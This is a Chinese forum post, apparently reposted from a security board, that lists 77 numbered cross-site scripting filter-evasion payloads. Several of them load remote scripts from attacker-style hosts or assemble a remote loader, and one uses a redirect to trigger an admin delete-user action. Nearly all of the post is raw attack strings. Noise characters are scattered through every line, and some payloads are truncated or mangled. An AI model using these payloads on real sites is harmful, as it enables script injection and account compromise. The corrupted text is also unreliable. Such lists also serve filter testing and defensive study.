貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
. `3 |# V N9 [- K4 Z( J. F8 B. B# M9 B
(1)普通的XSS JavaScript注入0 g7 m# m1 M% o+ Z _8 S
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>9 o4 y6 e6 l' z2 y' v8 X1 K
- X% D: z" X0 N
(2)IMG标签XSS使用JavaScript命令4 w% p9 ?5 @" y k; I
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
h0 g: S* c$ ]8 h' \4 G2 w% g- R% D7 Y
(3)IMG标签无分号无引号; B2 T5 {; |9 m& g, {, [2 L
<IMG SRC=javascript:alert(‘XSS’)>
4 G" c2 h6 X) y) p
4 V5 R+ M' K1 v) J (4)IMG标签大小写不敏感# ~) P8 N) Q. B$ r R5 S& Z, I
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
& F: {; G, _/ I$ N% l' h
1 F1 x( A- I2 A$ p (5)HTML编码(必须有分号)$ _6 x, i5 A! w9 k. Y9 L5 ?
<IMG SRC=javascript:alert(“XSS”)>. T5 q8 T0 U# x: N! {4 l$ V
& b7 Y/ X3 J; f; n" D (6)修正缺陷IMG标签
: M8 z5 S- k# C, K/ R) Q <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
2 o: S$ c3 g9 X2 w2 G- v
& M+ B8 N+ o* y8 L! h3 M (7)formCharCode标签(计算器)) v/ [ z7 h' B2 N) {2 k
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>) j, ~% t" _+ ]
9 B2 l1 S- h! V$ [( R+ b1 p
(8)UTF-8的Unicode编码(计算器)
; H+ @+ h! H# } <IMG SRC=jav..省略..S')>
9 l' I. y7 ^+ F1 f' N9 l, o( R) i6 I- [, ?
(9)7位的UTF-8的Unicode编码是没有分号的(计算器) a2 X9 n, D$ Z! g8 S* o: N3 y
<IMG SRC=jav..省略..S')>
1 }3 T& z4 G1 F
) o4 r$ d+ l' D# R (10)十六进制编码也是没有分号(计算器)
; |. I+ H2 z& a2 T$ ~8 ]9 | <IMG SRC=java..省略..XSS')>7 J! b5 I9 c4 q( P8 E. e0 Z
) K: d: ~9 N% O- K0 ~ (11)嵌入式标签,将Javascript分开
" T4 L A" I& A0 y# t+ x <IMG SRC=”jav ascript:alert(‘XSS’);”>. G' h) H4 f- H6 o5 {* L. D
1 G: ~8 O8 u- `3 l. @ (12)嵌入式编码标签,将Javascript分开
7 }7 X, E, t" H <IMG SRC=”jav ascript:alert(‘XSS’);”>
8 o+ M5 g3 x3 `) r% e" _" l! ^" C7 R' x! I+ M/ g; `* M
(13)嵌入式换行符
" v% h, N' }0 l0 i* x0 ^/ l <IMG SRC=”jav ascript:alert(‘XSS’);”>6 G2 ]# a) G/ _/ H. d& Y+ @' p
% e) L. S" l8 L# f. ` f
(14)嵌入式回车' @* n% A2 Q0 @/ H
<IMG SRC=”jav ascript:alert(‘XSS’);”>
- M7 |3 b/ [2 R, J
+ J9 a. p, i, v3 s" @* c (15)嵌入式多行注入JavaScript,这是XSS极端的例子5 v* L' c; T& c+ I
<IMG SRC=”javascript:alert(‘XSS‘)”>
, ~; c2 R0 C0 c
F. ]# |: A% j (16)解决限制字符(要求同页面)
( N& |% C4 R8 q h2 j0 @, C* J <script>z=’document.’</script>0 \2 ^7 {9 b( @, P. ?
<script>z=z+’write(“‘</script>4 f8 e; B! b2 p/ f
<script>z=z+’<script’</script> ?# c' C" q- H
<script>z=z+’ src=ht’</script>
7 x# N4 \' f, `/ I- ] <script>z=z+’tp://ww’</script>/ C! S+ x; s: O( ? s2 v
<script>z=z+’w.shell’</script>
; t, ~9 M: R0 m' `/ O <script>z=z+’.net/1.’</script>/ r" } Z: M! `
<script>z=z+’js></sc’</script>6 K0 r7 P, u% b, |% I6 L
<script>z=z+’ript>”)’</script>
( ~, f. r% y* J: ^ <script>eval_r(z)</script>+ Y* W# S- [$ I! W* ~6 F! C
( a; D1 k/ d) M
(17)空字符8 L* x' ?+ a+ V6 v" y5 |1 m
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out. m g l; P5 k
0 h: X* m$ x2 p" j5 S6 L- \
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用5 X" K v/ t4 R) C' m. i$ [
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out5 O2 k8 g* y4 G3 }: ^2 D# Y
1 W4 N, s+ ~% M; H
(19)Spaces和meta前的IMG标签
, d6 W5 I5 M u& l F" h <IMG SRC=” javascript:alert(‘XSS’);”>
v2 J1 H7 ~. ]/ E2 J
0 F" i6 u) V/ z! K$ `4 Y8 H" D (20)Non-alpha-non-digit XSS
1 {0 ^; |7 I% w5 @8 M <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>- q' t0 v7 H! d* j: y/ a8 T( H
; R! ^/ ~/ T* ]" [ (21)Non-alpha-non-digit XSS to 24 {/ Y/ {0 F$ f6 j) |& H$ ^3 Z
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
& ^; e$ |' H1 Q/ ], E7 [. y# e
( U# t5 G- E" C9 |! F7 J (22)Non-alpha-non-digit XSS to 3
; @6 z7 T1 q" j( x <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>9 z4 {- B, q9 |) X- S V
0 S) ~( @& W% m
(23)双开括号
1 Q$ d) y6 C% ]+ V' z <<SCRIPT>alert(“XSS”);//<</SCRIPT>' W; [, X2 \% A
5 `1 @$ S0 e1 B+ r9 Y
(24)无结束脚本标记(仅火狐等浏览器)' I0 ?# N# f6 D! @1 o( f5 C
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ Q) p; c$ Y: J e: {7 f1 `( M8 Y
' u5 Z9 L' G8 a, F8 Z4 v* U/ ^- L (25)无结束脚本标记2
7 r9 a7 \& S1 ?' x9 n <SCRIPT SRC=//3w.org/XSS/xss.js>
1 m3 s. R& G9 k# r9 t) a" V0 r; T7 B' N/ b
(26)半开的HTML/JavaScript XSS2 Z$ ^3 C( I! W5 o4 }: K
<IMG SRC=”javascript:alert(‘XSS’)”
! _$ k( k1 C$ @* _0 T7 ~- R& `9 J4 D
) }( u5 e4 ]) I F: C (27)双开角括号% ], ^& d3 u1 B" k" s5 C5 b
<iframe src=http://3w.org/XSS.html <6 p' `5 u% U3 @. y5 ]# O
) W5 @# o8 T( w: \: |' [8 k9 J
(28)无单引号 双引号 分号& E H: v; R$ a5 C
<SCRIPT>a=/XSS/
. r+ Q, W, {3 I, ^9 ~' W* R alert(a.source)</SCRIPT>
* Q# }" K: @! g3 _+ ` t3 S( K
$ q5 P* K# a( E# @ E j (29)换码过滤的JavaScript
! c& n' i, L/ V4 m- a) L6 f \”;alert(‘XSS’);//) p+ M& L% i! o, \" d. r5 x
2 T) z. F7 w: ]. \+ }4 w% R (30)结束Title标签
: x7 h9 X* H: A# S </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>5 j5 g2 _3 m; `7 ^9 R% W. z
8 ]0 @1 D% F9 ~- S7 G
(31)Input Image9 w) e0 R) s( k2 e3 i
<INPUT SRC=”javascript:alert(‘XSS’);”>
6 J) a8 V! z% r7 f% N
+ T/ X J/ b& _: } (32)BODY Image
8 |: y& }5 ]. {& Y% A <BODY BACKGROUND=”javascript:alert(‘XSS’)”> ]4 A0 u# c" }
! ~! t0 ?6 I% `0 K2 K
(33)BODY标签- i, @$ \6 \* U! g0 G) r1 z2 f
<BODY(‘XSS’)>
" x$ k$ k; ~, U$ v1 J4 n9 L' S C
. r4 e# s, g M; Z# T3 T& n (34)IMG Dynsrc
7 A9 ^4 j0 B+ L3 V. H/ h <IMG DYNSRC=”javascript:alert(‘XSS’)”>
: l5 E9 _% r. T4 \6 m8 R6 E6 T; G6 d8 u1 ^& M4 g% c! j& Z- f
(35)IMG Lowsrc/ F3 b5 J; l5 g; o+ D' \
<IMG LOWSRC=”javascript:alert(‘XSS’)”>6 T! [8 V6 n3 c0 o2 M9 b
0 |+ e- [1 l8 I" i" l% k. p" G
(36)BGSOUND; x; I* T; U% A- p5 q
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
0 j' T$ b0 a( S: z" N0 J
! T% M$ C0 ~) z. g+ c+ D5 k6 Q" j; C (37)STYLE sheet
) ?; S0 k+ {/ \ <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" ?) N2 s7 {# {- L' x0 w
/ ]0 M9 a/ T5 o g0 \$ ?2 [& D* I (38)远程样式表/ M2 x: ?5 h& F
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>! Y" g# D* }( o( W* b& P- C
1 s b0 B8 o4 h; y% P- S" `6 ^; U
(39)List-style-image(列表式)0 N+ n) H* G3 N4 \
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; L8 W5 H5 ~" ^, Q' C- s! Q
- A. v# z2 ^2 ~: ] (40)IMG VBscript( a9 [1 j3 ]+ K5 L
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
: z9 z; o* M: V/ [& w9 E* h
! d1 e* K7 b, \ (41)META链接url
1 ^0 p* R0 w/ p* f/ u" S <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>) W' E0 U) s4 Z3 m# i% A
' @0 J2 Y9 Z* w- E/ S* B. F U- Z
(42)Iframe
: @2 }' @* a8 n2 @ <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 K: \) Q& p J s
6 w8 ]6 K1 [' e( K2 a* h% q
(43)Frame
. v. e0 j8 `7 @. Y3 q; r3 g <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
/ t& P0 O" G5 m1 }8 c/ w
1 c3 d3 {( z& z6 E: s (44)Table' c; A. E1 D: t9 b+ O6 N
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
) `5 a& L/ `* y1 i1 [" Y1 H' y! i1 g% J$ L& ]& Y5 M' q% L, X! p
(45)TD& h/ t8 k" @) J# `& s
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
- b) Q$ V+ T( ^5 \$ `" u5 v$ i7 J+ J& J2 o1 M' o
(46)DIV background-image
* S$ b& d$ _4 ]* w% _. i; K5 j <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, C$ u( w; Y1 b, J9 O& W- U3 X b1 @$ a2 k3 `5 ~2 @! C' ?
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
* C8 C; I; B1 y; ~3 H0 p% s( p2 { <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
5 B% J$ Q9 j- M/ }
. b# x# [) J! q a" y9 x# N (48)DIV expression
! ?2 c6 E. ^! V <DIV STYLE=”width: expression_r(alert(‘XSS’));”>7 a) t) j V( `& ~7 C) t
+ q+ S' r. ^! S3 Z$ p6 { (49)STYLE属性分拆表达
! c& o7 d% |3 ]( C3 C <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
$ h3 i) N* A) M. m6 d* ~+ H2 K- D+ c1 {3 A# x2 }7 H2 _( ?! z
(50)匿名STYLE(组成:开角号和一个字母开头)7 Q4 `$ [1 {* X: E" d
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
- C/ C, z# H# J a7 f* A! j
a7 l: q4 p1 S3 u) @, u0 v (51)STYLE background-image! R2 X' D" I/ h/ C7 |" Y
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>1 z$ ~& s# [3 I7 D* r
( ?' d( V# f: q
(52)IMG STYLE方式
. n; j; ~# x7 t: @ ^" r3 q exppression(alert(“XSS”))’>
# K. u6 Z; I5 k
$ O% m3 K- h8 r( ~' U) w, t (53)STYLE background0 e- `0 c; h4 n8 e
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>; U! B M, \% ~/ i1 M
* b D8 _& w* K0 ]
(54)BASE
, [; f. C+ `$ q! D5 V) D8 e <BASE HREF=”javascript:alert(‘XSS’);//”>
7 V! e' k. J3 m. ~+ `6 i! `+ z% z6 j( B4 _% D Y+ S1 G
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS3 [, y. `1 ~- g
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
! A N3 u3 \3 N1 a
9 ]6 x# ^' y" S7 h (56)在flash中使用ActionScrpt可以混进你XSS的代码
8 E, V# {1 F; k8 Q: V a=”get”;
6 q! C7 D' O7 T' j4 ?' o: M) c b=”URL(\”";4 L9 `7 B: P4 V
c=”javascript:”;' C$ ^% s9 b# o/ t
d=”alert(‘XSS’);\”)”;
: b" ]( S! ~, _" ~4 [* c4 w* D eval_r(a+b+c+d);
* F: M: z- B" x r
2 I7 ]0 D) }7 D( i" q (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上( x3 i- e% ~2 k
<HTML xmlns:xss>
) y# q& d D r. g; @0 @# l <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>( ~9 d; C: ]& K: b: h0 `& T
<xss:xss>XSS</xss:xss>9 k A' r. D2 ~& M- a
</HTML>
! Z4 }# F) I: o V. f5 k2 g b! }6 ^& S1 }* w
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用 n) K- M9 Y' }. |9 u
<SCRIPT SRC=””></SCRIPT>
0 C- p0 o: Y. w! M0 p8 ?0 q/ r) ~0 o
k$ O+ m% D0 d0 U( ?. e (59)IMG嵌入式命令,可执行任意命令0 `7 R s% d$ n
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
: ]& d6 E9 M: G6 B( M6 ~% J; n
* a$ D5 y; j" ^% x: O- l" v9 ` (60)IMG嵌入式命令(a.jpg在同服务器)! {; r& w, X- K2 s
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
3 D2 U1 l9 V9 _" A- t$ i3 V: u E( m. [
(61)绕符号过滤+ R/ s$ y9 E% h* F8 [7 l9 F% [
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
3 e2 \' s) A2 l6 F. C/ Y4 i2 p/ X& R. f3 {2 v
(62)
- A. p9 Y0 w( K8 _- O# T <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT> U" }$ P0 O9 J, e' O3 E/ P
5 K& f- N9 M8 E (63)6 H1 j2 S/ Q' O% i4 r
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
! c( n- F# R, u/ z1 i( N
4 ^8 A" z3 ? N- V/ k, U (64)' C6 w) }' @/ v' @; r, ^
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
; H* J8 b+ [+ `; R5 z5 \9 W
. J/ P; o9 t) G* e) i7 {) `7 N (65)
5 O9 m' O& v: N* s7 T <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>: Q8 w: T: v; w: H
. \+ H7 Z+ Y# C, k (66)
. v, Z8 N4 x# W) D7 I <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>' H5 @9 g+ O# H# B. I
9 m2 n$ a0 G# @% V8 O (67)/ X: B# ~* w. T8 `$ }+ I
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>$ B" X1 o7 n' z3 n9 g$ ]* P0 w
F9 ?& F: b6 O& \+ I6 z
(68)URL绕行+ e9 t/ \+ v- p
<A HREF=”http://127.0.0.1/”>XSS</A>2 e- ~; @9 L' {. u5 r) x9 T$ p
# z9 o7 q5 Y4 [* y5 K$ e" x4 | (69)URL编码
2 \2 s4 k& M2 D* n, ^ <A HREF=”http://3w.org”>XSS</A>6 V3 Z6 m2 t }# a) R
9 m/ B% [4 }$ @1 M) Q
(70)IP十进制. r9 z+ `9 B$ I# V6 a9 {* l
<A HREF=”http://3232235521″>XSS</A>
5 i3 j- Z: [# d" \, V) }; x, a4 y1 x1 {( G5 ]; O; s
(71)IP十六进制
0 f# d$ ^5 x' {$ W2 g4 `7 r7 U- v <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
, W' w4 b5 z/ G% Z- ?, i p$ v: t1 i! F0 m: A+ {* w
(72)IP八进制
& d7 {9 j: W3 Q5 Q7 u- O O <A HREF=”http://0300.0250.0000.0001″>XSS</A>
* K+ i% B; }& x0 I1 z. h' |. S/ {) k9 k4 P) y
(73)混合编码' P) K# ?, H. ^% n4 | p& a, {
<A HREF=”h) ]3 Q9 y2 J# V
tt p://6 6.000146.0×7.147/”">XSS</A>* I/ [& m8 X! ]/ e: [
# Q+ f) v+ w; g' k& t; ]/ M* [ (74)节省[http:]
/ b) B2 |8 b2 U9 J9 N8 [ <A HREF=”//www.google.com/”>XSS</A>+ u5 i% M+ f/ ~4 s6 N
6 T6 B- h* u6 n h5 q
(75)节省[www]
) }6 _% n4 v" V) J+ ~" W <A HREF=”http://google.com/”>XSS</A>
% D4 Z* r+ Q2 u: P! t8 f" J, O0 F/ G! c' l0 z
(76)绝对点绝对DNS) b& R# r! }+ S' P3 ?" Q- m
<A HREF=”http://www.google.com./”>XSS</A>
# x1 z; P2 C& y* Z+ Y$ c3 ?4 h2 K, q" o' }4 R- l. @: s
(77)javascript链接4 x- I% H1 T/ n& v# G- O! U
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |